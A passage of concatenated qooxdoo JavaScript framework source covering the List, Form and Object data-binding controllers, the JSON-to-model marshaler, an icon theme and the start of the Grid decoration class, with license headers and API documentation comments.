The old delegate. */ _setConfigureItem: function(value, old) { if (value != null && value.configureItem != null && this.getTarget() != null) { var children = this.getTarget().getChildren(); for (var i = 0; i < children.length; i++) { value.configureItem(children[i]); } } }, /** * Helper method for applying the delegate It checks if a bindItem * is set end invokes the initial process to apply the given function. * * @param value {Object} The new delegate. * @param old {Object} The old delegate. */ _setBindItem: function(value, old) { // if a new bindItem function is set if (value != null && value.bindItem != null) { // do nothing if the bindItem function did not change if (old != null && old.bindItem != null && value.bindItem == old.bindItem) { return; } this.__renewBindings(); } }, /** * Helper method for applying the delegate It checks if a createItem * is set end invokes the initial process to apply the given function. * * @param value {Object} The new delegate. * @param old {Object} The old delegate. */ _setCreateItem: function(value, old) { if ( this.getTarget() == null || this.getModel() == null || value == null || value.createItem == null ) { return; } this._startSelectionModification(); // remove all bindings var children = this.getTarget().getChildren(); for (var i = 0, l = children.length; i < l; i++) { this._removeBindingsFrom(children[i]); } // remove all elements of the target var removed = this.getTarget().removeAll(); for (var i=0; i<removed.length; i++) { removed[i].destroy(); } // update this.update(); this._endSelectionModification(); this._updateSelection(); }, /** * Apply-Method for setting the filter. It removes all bindings, * check if the length has changed and adds or removes the items in the * target. After that, the bindings will be set up again and the selection * will be updated. * * @param value {Function|null} The new filter function. * @param old {Function|null} The old filter function. */ _setFilter: function(value, old) { // update the filter if it has been removed if ((value == null || value.filter == null) && (old != null && old.filter != null)) { this.__removeFilter(); } // check if it is necessary to do anything if ( this.getTarget() == null || this.getModel() == null || value == null || value.filter == null ) { return; } // if yes, continue this._startSelectionModification(); // remove all bindings var children = this.getTarget().getChildren(); for (var i = 0, l = children.length; i < l; i++) { this._removeBindingsFrom(children[i]); } // store the old lookup table var oldTable = this.__lookupTable; // generate a new lookup table this.__buildUpLookupTable(); // if there are lesser items if (oldTable.length > this.__lookupTable.length) { // remove the unnecessary items for (var j = oldTable.length; j > this.__lookupTable.length; j--) { this.getTarget().removeAt(j - 1).destroy(); } // if there are more items } else if (oldTable.length < this.__lookupTable.length) { // add the new elements for (var j = oldTable.length; j < this.__lookupTable.length; j++) { var tempItem = this._createItem(); this.getTarget().add(tempItem); } } // bind every list item again var listItems = this.getTarget().getChildren(); for (var i = 0; i < listItems.length; i++) { this._bindListItem(listItems[i], this.__lookup(i)); } // move the controllers change handler for the model to the end of the // listeners queue this.__moveChangeListenerAtTheEnd(); this._endSelectionModification(); this._updateSelection(); }, /** * This helper is responsible for removing the filter and setting the * controller to a valid state without a filtering. */ __removeFilter : function() { // renew the index lookup table this.__buildUpLookupTable(); // check for the new length this.__changeModelLength(); // renew the bindings this.__renewBindings(); // need an asynchronous selection update because the bindings have to be // executed to update the selection probably (using the widget queue) this.__syncModelSelection = true; qx.ui.core.queue.Widget.add(this); }, /* --------------------------------------------------------------------------- LOOKUP STUFF --------------------------------------------------------------------------- */ /** * Helper-Method which builds up the index lookup for the filter feature. * If no filter is set, the lookup table will be a 1:1 mapping. */ __buildUpLookupTable: function() { var model = this.getModel(); if (model == null) { return; } var delegate = this.getDelegate(); if (delegate != null) { var filter = delegate.filter; } this.__lookupTable = []; for (var i = 0; i < model.getLength(); i++) { if (filter == null || filter(model.getItem(i))) { this.__lookupTable.push(i); } } }, /** * Function for accessing the lookup table. * * @param index {Integer} The index of the lookup table. */ __lookup: function(index) { return this.__lookupTable[index]; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__lookupTable = this.__onUpdate = this.__boundProperties = null; this.__boundPropertiesReverse = null; // remove yourself from the widget queue qx.ui.core.queue.Widget.remove(this); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * <h2>Form Controller</h2> * * *General idea* * * The form controller is responsible for connecting a form with a model. If no * model is given, a model can be created. This created model will fit exactly * to the given form and can be used for serialization. All the connections * between the form items and the model are handled by an internal * {@link qx.data.controller.Object}. * * *Features* * * * Connect a form to a model (bidirectional) * * Create a model for a given form * * *Usage* * * The controller only works if both a controller and a model are set. * Creating a model will automatically set the created model. * * *Cross reference* * * * If you want to bind single values, use {@link qx.data.controller.Object} * * If you want to bind a list like widget, use {@link qx.data.controller.List} * * If you want to bind a tree widget, use {@link qx.data.controller.Tree} */ qx.Class.define("qx.data.controller.Form", { extend : qx.core.Object, /** * @param model {qx.core.Object | null} The model to bind the target to. The * given object will be set as {@link #model} property. * @param target {qx.ui.form.Form | null} The form which contains the form * items. The given form will be set as {@link #target} property. * @param selfUpdate {Boolean?false} If set to true, you need to call the * {@link #updateModel} method to get the data in the form to the model. * Otherwise, the data will be synced automatically on every change of * the form. */ construct : function(model, target, selfUpdate) { this.base(arguments); this._selfUpdate = !!selfUpdate; this.__bindingOptions = {}; if (model != null) { this.setModel(model); } if (target != null) { this.setTarget(target); } }, properties : { /** Data object containing the data which should be shown in the target. */ model : { check: "qx.core.Object", apply: "_applyModel", event: "changeModel", nullable: true, dereference: true }, /** The target widget which should show the data. */ target : { check: "qx.ui.form.Form", apply: "_applyTarget", event: "changeTarget", nullable: true, init: null, dereference: true } }, members : { __objectController : null, __bindingOptions : null, /** * The form controller uses for setting up the bindings the fundamental * binding layer, the {@link qx.data.SingleValueBinding}. To achieve a * binding in both directions, two bindings are neede. With this method, * you have the opportunity to set the options used for the bindings. * * @param name {String} The name of the form item for which the options * should be used. * @param model2target {Map} Options map used for the binding from model * to target. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. * @param target2model {Map} Options map used for the binding from target * to model. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. */ addBindingOptions : function(name, model2target, target2model) { this.__bindingOptions[name] = [model2target, target2model]; // return if not both, model and target are given if (this.getModel() == null || this.getTarget() == null) { return; } // renew the affected binding var item = this.getTarget().getItems()[name]; var targetProperty = this.__isModelSelectable(item) ? "modelSelection[0]" : "value"; // remove the binding this.__objectController.removeTarget(item, targetProperty, name); // set up the new binding with the options this.__objectController.addTarget( item, targetProperty, name, !this._selfUpdate, model2target, target2model ); }, /** * Creates and sets a model using the {@link qx.data.marshal.Json} object. * Remember that this method can only work if the form is set. The created * model will fit exactly that form. Changing the form or adding an item to * the form will need a new model creation. * * @param includeBubbleEvents {Boolean} Whether the model should support * the bubbling of change events or not. * @return {qx.core.Object} The created model. */ createModel : function(includeBubbleEvents) { var target = this.getTarget(); // throw an error if no target is set if (target == null) { throw new Error("No target is set."); } var items = target.getItems(); var data = {}; for (var name in items) { var names = name.split("."); var currentData = data; for (var i = 0; i < names.length; i++) { // if its the last item if (i + 1 == names.length) { // check if the target is a selection var clazz = items[name].constructor; var itemValue = null; if (qx.Class.hasInterface(clazz, qx.ui.core.ISingleSelection)) { // use the first element of the selection because passed to the // marshaler (and its single selection anyway) [BUG #3541] itemValue = items[name].getModelSelection().getItem(0) || null; } else { itemValue = items[name].getValue(); } // call the converter if available [BUG #4382] if (this.__bindingOptions[name] && this.__bindingOptions[name][1]) { itemValue = this.__bindingOptions[name][1].converter(itemValue); } currentData[names[i]] = itemValue; } else { // if its not the last element, check if the object exists if (!currentData[names[i]]) { currentData[names[i]] = {}; } currentData = currentData[names[i]]; } } } var model = qx.data.marshal.Json.createModel(data, includeBubbleEvents); this.setModel(model); return model; }, /** * Responsible for synching the data from entered in the form to the model. * Please keep in mind that this method only works if you create the form * with <code>selfUpdate</code> set to true. Otherwise, this method will * do nothing because updates will be synched automatically on every * change. */ updateModel: function(){ // only do stuff if self update is enabled and a model or target is set if (!this._selfUpdate || !this.getModel() || !this.getTarget()) { return; } var items = this.getTarget().getItems(); for (var name in items) { var item = items[name]; var sourceProperty = this.__isModelSelectable(item) ? "modelSelection[0]" : "value"; var options = this.__bindingOptions[name]; options = options && this.__bindingOptions[name][1]; qx.data.SingleValueBinding.updateTarget( item, sourceProperty, this.getModel(), name, options ); } }, // apply method _applyTarget : function(value, old) { // if an old target is given, remove the binding if (old != null) { this.__tearDownBinding(old); } // do nothing if no target is set if (this.getModel() == null) { return; } // target and model are available if (value != null) { this.__setUpBinding(); } }, // apply method _applyModel : function(value, old) { // first, get rid off all bindings (avoids whong data population) if (this.__objectController != null) { var items = this.getTarget().getItems(); for (var name in items) { var item = items[name]; var targetProperty = this.__isModelSelectable(item) ? "modelSelection[0]" : "value"; this.__objectController.removeTarget(item, targetProperty, name); } } // set the model of the object controller if available if (this.__objectController != null) { this.__objectController.setModel(value); } // do nothing is no target is set if (this.getTarget() == null) { return; } // model and target are available if (value != null) { this.__setUpBinding(); } }, /** * Internal helper for setting up the bindings using * {@link qx.data.controller.Object#addTarget}. All bindings are set * up bidirectional. */ __setUpBinding : function() { // create the object controller if (this.__objectController == null) { this.__objectController = new qx.data.controller.Object(this.getModel()); } // get the form items var items = this.getTarget().getItems(); // connect all items for (var name in items) { var item = items[name]; var targetProperty = this.__isModelSelectable(item) ? "modelSelection[0]" : "value"; var options = this.__bindingOptions[name]; // try to bind all given items in the form try { if (options == null) { this.__objectController.addTarget(item, targetProperty, name, !this._selfUpdate); } else { this.__objectController.addTarget( item, targetProperty, name, !this._selfUpdate, options[0], options[1] ); } // ignore not working items } catch (ex) { if (qx.core.Environment.get("qx.debug")) { this.warn("Could not bind property " + name + " of " + this.getModel()); } } } // make sure the initial values of the model are taken for resetting [BUG #5874] this.getTarget().redefineResetter(); }, /** * Internal helper for removing all set up bindings using * {@link qx.data.controller.Object#removeTarget}. * * @param oldTarget {qx.ui.form.Form} The form which has been removed. */ __tearDownBinding : function(oldTarget) { // do nothing if the object controller has not been created if (this.__objectController == null) { return; } // get the items var items = oldTarget.getItems(); // disconnect all items for (var name in items) { var item = items[name]; var targetProperty = this.__isModelSelectable(item) ? "modelSelection[0]" : "value"; this.__objectController.removeTarget(item, targetProperty, name); } }, /** * Returns whether the given item implements * {@link qx.ui.core.ISingleSelection} and * {@link qx.ui.form.IModelSelection}. * * @param item {qx.ui.form.IForm} The form item to check. * * @return {true} true, if given item fits. */ __isModelSelectable : function(item) { return qx.Class.hasInterface(item.constructor, qx.ui.core.ISingleSelection) && qx.Class.hasInterface(item.constructor, qx.ui.form.IModelSelection); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { // dispose the object controller because the bindings need to be removed if (this.__objectController) { this.__objectController.dispose(); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Defines the methods needed by every marshaler which should work with the * qooxdoo data stores. */ qx.Interface.define("qx.data.marshal.IMarshaler", { members : { /** * Creates for the given data the needed classes. The classes contain for * every key in the data a property. The classname is always the prefix * <code>qx.data.model</code>. Two objects containing the same keys will not * create two different classes. * * @param data {Object} The object for which classes should be created. * @param includeBubbleEvents {Boolean} Whether the model should support * the bubbling of change events or not. */ toClass : function(data, includeBubbleEvents) {}, /** * Creates for the given data the needed models. Be sure to have the classes * created with {@link #toClass} before calling this method. * * @param data {Object} The object for which models should be created. * * @return {qx.core.Object} The created model object. */ toModel : function(data) {} } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * This class is responsible for converting json data to class instances * including the creation of the classes. */ qx.Class.define("qx.data.marshal.Json", { extend : qx.core.Object, implement : [qx.data.marshal.IMarshaler], /** * @param delegate {Object} An object containing one of the methods described * in {@link qx.data.marshal.IMarshalerDelegate}. */ construct : function(delegate) { this.base(arguments); this.__delegate = delegate; }, statics : { $$instance : null, /** * Creates a qooxdoo object based on the given json data. This function * is just a static wrapper. If you want to configure the creation * process of the class, use {@link qx.data.marshal.Json} directly. * * @param data {Object} The object for which classes should be created. * @param includeBubbleEvents {Boolean} Whether the model should support * the bubbling of change events or not. * * @return {qx.core.Object} An instance of the corresponding class. */ createModel : function(data, includeBubbleEvents) { // singleton for the json marshaler if (this.$$instance === null) { this.$$instance = new qx.data.marshal.Json(); } // be sure to create the classes first this.$$instance.toClass(data, includeBubbleEvents); // return the model return this.$$instance.toModel(data); } }, members : { __delegate : null, /** * Converts a given object into a hash which will be used to identify the * classes under the namespace <code>qx.data.model</code>. * * @param data {Object} The JavaScript object from which the hash is * required. * @return {String} The hash representation of the given JavaScript object. */ __jsonToHash: function(data) { return qx.Bootstrap.getKeys(data).sort().join('"'); }, /** * Creates for the given data the needed classes. The classes contain for * every key in the data a property. The classname is always the prefix * <code>qx.data.model</code> and the hash of the data created by * {@link #__jsonToHash}. Two objects containing the same keys will not * create two different classes. The class creation process also supports * the functions provided by its delegate. * * Important, please keep in mind that only valid JavaScript identifiers * can be used as keys in the data map. For convenience '-' in keys will * be removed (a-b will be ab in the end). * * @see qx.data.store.IStoreDelegate * * @param data {Object} The object for which classes should be created. * @param includeBubbleEvents {Boolean} Whether the model should support * the bubbling of change events or not. */ toClass: function(data, includeBubbleEvents) { // break on all primitive json types and qooxdoo objects if ( !qx.lang.Type.isObject(data) || !!data.$$isString // check for localized strings || data instanceof qx.core.Object ) { // check for arrays if (data instanceof Array || qx.Bootstrap.getClass(data) == "Array") { for (var i = 0; i < data.length; i++) { this.toClass(data[i], includeBubbleEvents); } } // ignore arrays and primitive types return; } var hash = this.__jsonToHash(data); // check for the possible child classes for (var key in data) { this.toClass(data[key], includeBubbleEvents); } // class already exists if (qx.Class.isDefined("qx.data.model." + hash)) { return; } // class is defined by the delegate if ( this.__delegate && this.__delegate.getModelClass && this.__delegate.getModelClass(hash) != null ) { return; } // create the properties map var properties = {}; // include the disposeItem for the dispose process. var members = {__disposeItem : this.__disposeItem}; for (var key in data) { // apply the property names mapping if (this.__delegate && this.__delegate.getPropertyMapping) { key = this.__delegate.getPropertyMapping(key, hash); } // stip the unwanted characters key = key.replace(/-|\.|\s+/g, ""); // check for valid JavaScript identifier (leading numbers are ok) if (qx.core.Environment.get("qx.debug")) { this.assertTrue((/^[$0-9A-Za-z_]*$/).test(key), "The key '" + key + "' is not a valid JavaScript identifier.") } properties[key] = {}; properties[key].nullable = true; properties[key].event = "change" + qx.lang.String.firstUp(key); // bubble events if (includeBubbleEvents) { properties[key].apply = "_applyEventPropagation"; } // validation rules if (this.__delegate && this.__delegate.getValidationRule) { var rule = this.__delegate.getValidationRule(hash, key); if (rule) { properties[key].validate = "_validate" + key; members["_validate" + key] = rule; } } } // try to get the superclass, qx.core.Object as default if (this.__delegate && this.__delegate.getModelSuperClass) { var superClass = this.__delegate.getModelSuperClass(hash) || qx.core.Object; } else { var superClass = qx.core.Object; } // try to get the mixins var mixins = []; if (this.__delegate && this.__delegate.getModelMixins) { var delegateMixins = this.__delegate.getModelMixins(hash); // check if its an array if (!qx.lang.Type.isArray(delegateMixins)) { if (delegateMixins != null) { mixins = [delegateMixins]; } } else { mixins = delegateMixins; } } // include the mixin for the event bubbling if (includeBubbleEvents) { mixins.push(qx.data.marshal.MEventBubbling); } // create the map for the class var newClass = { extend : superClass, include : mixins, properties : properties, members : members, destruct : this.__disposeProperties }; qx.Class.define("qx.data.model." + hash, newClass); }, /** * Destructor for all created classes which disposes all stuff stored in * the properties. */ __disposeProperties : function() { var properties = qx.util.PropertyUtil.getAllProperties(this.constructor); for (var desc in properties) { this.__disposeItem(this.get(properties[desc].name)); }; }, /** * Helper for disposing items of the created class. * * @param item {var} The item to dispose. */ __disposeItem : function(item) { if (!(item instanceof qx.core.Object)) { // ignore all non objects return; } // ignore already disposed items (could happen during shutdown) if (item.isDisposed()) { return; } item.dispose(); }, /** * Creates an instance for the given data hash. * * @param hash {String} The hash of the data for which an instance should * be created. * @return {qx.core.Object} An instance of the corresponding class. */ __createInstance: function(hash) { var delegateClass; // get the class from the delegate if (this.__delegate && this.__delegate.getModelClass) { delegateClass = this.__delegate.getModelClass(hash); } if (delegateClass != null) { return (new delegateClass()); } else { var clazz = qx.Class.getByName("qx.data.model." + hash); return (new clazz()); } }, /** * Creates for the given data the needed models. Be sure to have the classes * created with {@link #toClass} before calling this method. The creation * of the class itself is delegated to the {@link #__createInstance} method, * which could use the {@link qx.data.store.IStoreDelegate} methods, if * given. * * @param data {Object} The object for which models should be created. * * @return {qx.core.Object} The created model object. */ toModel: function(data) { var isObject = qx.lang.Type.isObject(data); var isArray = data instanceof Array || qx.Bootstrap.getClass(data) == "Array"; if ( (!isObject && !isArray) || !!data.$$isString // check for localized strings || data instanceof qx.core.Object ) { return data; } else if (isArray) { var array = new qx.data.Array(); // set the auto dispose for the array array.setAutoDisposeItems(true); for (var i = 0; i < data.length; i++) { array.push(this.toModel(data[i])); } return array; } else if (isObject) { // create an instance for the object var hash = this.__jsonToHash(data); var model = this.__createInstance(hash); // go threw all element in the data for (var key in data) { // apply the property names mapping var propertyName = key; if (this.__delegate && this.__delegate.getPropertyMapping) { propertyName = this.__delegate.getPropertyMapping(key, hash); } var propertyNameReplaced = propertyName.replace(/-|\.|\s+/g, ""); // warn if there has been a replacement if ( (qx.core.Environment.get("qx.debug")) && qx.core.Environment.get("qx.debug.databinding") ) { if (propertyNameReplaced != propertyName) { this.warn( "The model contained an illegal name: '" + key + "'. Replaced it with '" + propertyName + "'." ); } } propertyName = propertyNameReplaced; // only set the properties if they are available [BUG #5909] var setterName = "set" + qx.lang.String.firstUp(propertyName); if (model[setterName]) { model[setterName](this.toModel(data[key])); } } return model; } throw new Error("Unsupported type!"); } }, /* ***************************************************************************** DESTRUCT ***************************************************************************** */ destruct : function() { this.__delegate = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * <h2>Object Controller</h2> * * *General idea* * * The idea of the object controller is to make the binding of one model object * containing one or more properties as easy as possible. Therefore the * controller can take a model as property. Every property in that model can be * bound to one or more target properties. The binding will be for * atomic types only like Numbers, Strings, ... * * *Features* * * * Manages the bindings between the model properties and the different targets * * No need for the user to take care of the binding ids * * Can create an bidirectional binding (read- / write-binding) * * Handles the change of the model which means adding the old targets * * *Usage* * * The controller only can work if a model is set. If the model property is * null, the controller is not working. But it can be null on any time. * * *Cross reference* * * * If you want to bind a list like widget, use {@link qx.data.controller.List} * * If you want to bind a tree widget, use {@link qx.data.controller.Tree} * * If you want to bind a form widget, use {@link qx.data.controller.Form} */ qx.Class.define("qx.data.controller.Object", { extend : qx.core.Object, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param model {qx.core.Object?null} The model for the model property. */ construct : function(model) { this.base(arguments); // create a map for all created binding ids this.__bindings = {}; // create an array to store all current targets this.__targets = []; if (model != null) { this.setModel(model); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** The model object which does have the properties for the binding. */ model : { check: "qx.core.Object", event: "changeModel", apply: "_applyModel", nullable: true, dereference: true } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { // private members __targets : null, __bindings : null, /** * Apply-method which will be called if a new model has been set. * All bindings will be moved to the new model. * * @param value {qx.core.Object|null} The new model. * @param old {qx.core.Object|null} The old model. */ _applyModel: function(value, old) { // for every target for (var i = 0; i < this.__targets.length; i++) { // get the properties var targetObject = this.__targets[i][0]; var targetProperty = this.__targets[i][1]; var sourceProperty = this.__targets[i][2]; var bidirectional = this.__targets[i][3]; var options = this.__targets[i][4]; var reverseOptions = this.__targets[i][5]; // remove it from the old if possible if (old != undefined && !old.isDisposed()) { this.__removeTargetFrom(targetObject, targetProperty, sourceProperty, old); } // add it to the new if available if (value != undefined) { this.__addTarget( targetObject, targetProperty, sourceProperty, bidirectional, options, reverseOptions ); } else { // in shutdown situations, it may be that something is already // disposed [BUG #4343] if (targetObject.isDisposed() || qx.core.ObjectRegistry.inShutDown) { continue; } // if the model is null, reset the current target if (targetProperty.indexOf("[") == -1) { targetObject["reset" + qx.lang.String.firstUp(targetProperty)](); } else { var open = targetProperty.indexOf("["); var index = parseInt( targetProperty.substring(open + 1, targetProperty.length - 1), 10 ); targetProperty = targetProperty.substring(0, open); var targetArray = targetObject["get" + qx.lang.String.firstUp(targetProperty)](); if (index == "last") { index = targetArray.length; } if (targetArray) { targetArray.setItem(index, null); } } } } }, /** * Adds a new target to the controller. After adding the target, the given * property of the model will be bound to the targets property. * * @param targetObject {qx.core.Object} The object on which the property * should be bound. * * @param targetProperty {String} The property to which the binding should * go. * * @param sourceProperty {String} The name of the property in the model. * * @param bidirectional {Boolean?false} Signals if the binding should also work * in the reverse direction, from the target to source. * * @param options {Map?null} The options Map used by the binding from source * to target. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. * * @param reverseOptions {Map?null} The options used by the binding in the * reverse direction. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. */ addTarget: function( targetObject, targetProperty, sourceProperty, bidirectional, options, reverseOptions ) { // store the added target this.__targets.push([ targetObject, targetProperty, sourceProperty, bidirectional, options, reverseOptions ]); // delegate the adding this.__addTarget( targetObject, targetProperty, sourceProperty, bidirectional, options, reverseOptions ); }, /** * Does the work for {@link #addTarget} but without saving the target * to the internal target registry. * * @param targetObject {qx.core.Object} The object on which the property * should be bound. * * @param targetProperty {String} The property to which the binding should * go. * * @param sourceProperty {String} The name of the property in the model. * * @param bidirectional {Boolean?false} Signals if the binding should also work * in the reverse direction, from the target to source. * * @param options {Map?null} The options Map used by the binding from source * to target. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. * * @param reverseOptions {Map?null} The options used by the binding in the * reverse direction. The possible options can be found in the * {@link qx.data.SingleValueBinding} class. */ __addTarget: function( targetObject, targetProperty, sourceProperty, bidirectional, options, reverseOptions ) { // do nothing if no model is set if (this.getModel() == null) { return; } // create the binding var id = this.getModel().bind( sourceProperty, targetObject, targetProperty, options ); // create the reverse binding if necessary var idReverse = null if (bidirectional) { idReverse = targetObject.bind( targetProperty, this.getModel(), sourceProperty, reverseOptions ); } // save the binding var targetHash = targetObject.toHashCode(); if (this.__bindings[targetHash] == undefined) { this.__bindings[targetHash] = []; } this.__bindings[targetHash].push( [id, idReverse, targetProperty, sourceProperty, options, reverseOptions] ); }, /** * Removes the target identified by the three properties. * * @param targetObject {qx.core.Object} The target object on which the * binding exist. * * @param targetProperty {String} The targets property name used by the * adding of the target. * * @param sourceProperty {String} The name of the property of the model. */ removeTarget: function(targetObject, targetProperty, sourceProperty) { this.__removeTargetFrom( targetObject, targetProperty, sourceProperty, this.getModel() ); // delete the target in the targets reference for (var i = 0; i < this.__targets.length; i++) { if ( this.__targets[i][0] == targetObject && this.__targets[i][1] == targetProperty && this.__targets[i][2] == sourceProperty ) { this.__targets.splice(i, 1); } } }, /** * Does the work for {@link #removeTarget} but without removing the target * from the internal registry. * * @param targetObject {qx.core.Object} The target object on which the * binding exist. * * @param targetProperty {String} The targets property name used by the * adding of the target. * * @param sourceProperty {String} The name of the property of the model. * * @param sourceObject {String} The source object from which the binding * comes. */ __removeTargetFrom: function( targetObject, targetProperty, sourceProperty, sourceObject ) { // check for not fitting targetObjects if (!(targetObject instanceof qx.core.Object)) { // just do nothing return; } var currentListing = this.__bindings[targetObject.toHashCode()]; // if no binding is stored if (currentListing == undefined || currentListing.length == 0) { return; } // go threw all listings for the object for (var i = 0; i < currentListing.length; i++) { // if it is the listing if ( currentListing[i][2] == targetProperty && currentListing[i][3] == sourceProperty ) { // remove the binding var id = currentListing[i][0]; sourceObject.removeBinding(id); // check for the reverse binding if (currentListing[i][1] != null) { targetObject.removeBinding(currentListing[i][1]); } // delete the entry and return currentListing.splice(i, 1); return; } } } }, /* ***************************************************************************** DESTRUCT ***************************************************************************** */ destruct : function() { // set the model to null to get the bindings removed if (this.getModel() != null && !this.getModel().isDisposed()) { this.setModel(null); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) ************************************************************************ */ /** * Tango icons */ qx.Theme.define("qx.theme.icon.Tango", { title : "Tango", aliases : { "icon" : "qx/icon/Tango" } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A very complex decoration using two, partly combined and clipped images * to render a graphically impressive borders with gradients. * * The decoration supports all forms of vertical gradients. The gradients must * be stretchable to support different heights. * * The edges could use different styles of rounded borders. Even different * edge sizes are supported. The sizes are automatically detected by * the build system using the image meta data. * * The decoration uses clipped images to reduce the number of external * resources to load. */ qx.Class.define("qx.ui.decoration.Grid", { extend: qx.core.Object, implement : [qx.ui.decoration.IDecorator], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param baseImage {String} Base image to use * @param insets {Integer|Array} Insets for the grid */ construct : function(baseImage, insets) { this.base(arguments); if (qx.ui.decoration.css3.BorderImage.IS_SUPPORTED) { this.__impl = new qx.ui.decoration.css3.BorderImage(); if (baseImage) { this.__setBorderImage(baseImage); } } else { this.__impl = new qx.ui.decoration.GridDiv(baseImage); } if (insets != null) { this.__impl.setInsets(insets); } // ignore the internal used implementation in the dispose debugging [BUG #5343] if (qx.core.Environment.get("qx.debug.dispose")) { this.__impl.$$ignoreDisposeWarning = true; } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Base image URL. There must be an image with this name and the sliced * and the nine sliced images. The sliced images must be named according to * the following scheme: * * ${baseImageWithoutExtension}-${imageName}.${baseImageExtension} * * These image names are used: * * * tl (top-left edge) * * t (top side) * * tr (top-right edge) * * bl (bottom-left edge) * * b (bottom side) * * br (bottom-right edge) * * * l (left side) * * c (center image) * * r (right side) */ baseImage : { check : "String", nullable : true, apply : "_applyBaseImage" }, /** Width of the left inset (keep this margin to the outer box) */ insetLeft : { check : "Number", nullable: true, apply : "_applyInsets" }, /** Width of the right inset (keep this margin to the outer box) */ insetRight : { check : "Number", nullable: true, apply : "_applyInsets" }, /** Width of the bottom inset (keep this margin to the outer box) */ insetBottom : { check : "Number", nullable: true, apply : "_applyInsets" }, /** Width of the top inset (keep this margin to the outer box) */ insetTop : { check : "Number", nullable: true, apply : "_applyInsets" }, /** Property group for insets */ insets : { group : [ "insetTop", "insetRight", "insetBottom", "insetLeft" ], mode : "shorthand" }, /** Width of the left slice */ sliceLeft : { check : "Number", nullable: true, apply : "_applySlices" }, /** Width of the right slice */ sliceRight : { check : "Number", nullable: true, apply : "_applySlices" }, /** Width of the bottom slice */ sliceBottom : { check : "Number", nullable: true, apply : "_applySlices" }, /** Width of the top slice */ sliceTop : { check : "Number", nullable: true, apply : "_applySlices" }, /** Property group for slices */ slices : { group : [ "sliceTop", "sliceRight", "sliceBottom", "sliceLeft" ], mode : "shorthand" }, /** Only used for the CSS3 implementation, see {@link qx.ui.decoration.css3.BorderImage#fill} **/ fill : { apply : "_applyFill" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __impl : null, // interface implementation getMarkup : function() { return this.__impl.getMarkup(); }, // interface implementation resize : function(element, width, height) { this.__impl.resize(element, width, height); }, // interface implementation tint : function(element, bgcolor) { // do nothing }, // interface implementation getInsets : function() { return this.__impl.getInsets(); }, // property apply _applyInsets : function(value, old, name) { var setter = "set" + qx.lang.String.firstUp(name); this.__impl[setter](value); }, // property apply _applySlices : function(value, old, name) { var setter = "set" + qx.lang.String.firstUp(name); // The GridDiv implementation doesn't have slice properties, // slices are obtained from the sizes of the images instead if (this.__impl[setter]) { this.__impl[setter](value); } }, //property apply _applyFill : function(value, old, name) { if (this.__impl.setFill) { this.__impl.setFill(value); } }, // property apply _applyBaseImage : function(value, old) { if (this.__impl instanceof qx.ui.decoration.GridDiv) { this.__impl.setBaseImage(value); } else { this.__setBorderImage(value); } }, /** * Configures the border image decorator * * @param baseImage {String} URL of the base image */ __setBorderImage : function(baseImage) { this.__impl.setBorderImage(baseImage); var base = qx.util.AliasManager.getInstance().resolve(baseImage); var split = /(.*)(\.[a-z]+)$/.exec(base); var prefix = split[1]; var ext = split[2]; var ResourceManager = qx.util.ResourceManager.getInstance(); var topSlice = ResourceManager.getImageHeight(prefix + "-t" + ext); var rightSlice = ResourceManager.getImageWidth(prefix + "-r" + ext); var bottomSlice = ResourceManager.getImageHeight(prefix + "-b" + ext); var leftSlice = ResourceManager.getImageWidth(prefix + "-l" + ext); if (qx.core.Environment.get("qx.debug") && !this.__impl instanceof qx.ui.decoration.css3.BorderImage) { var assertMessageTop = "The value of the property 'topSlice' is null! " + "Please verify the image '" + prefix + "-t" + ext + "' is present."; var assertMessageRight = "The value of the property 'rightSlice' is null! " + "Please verify the image '" + prefix + "-r" + ext 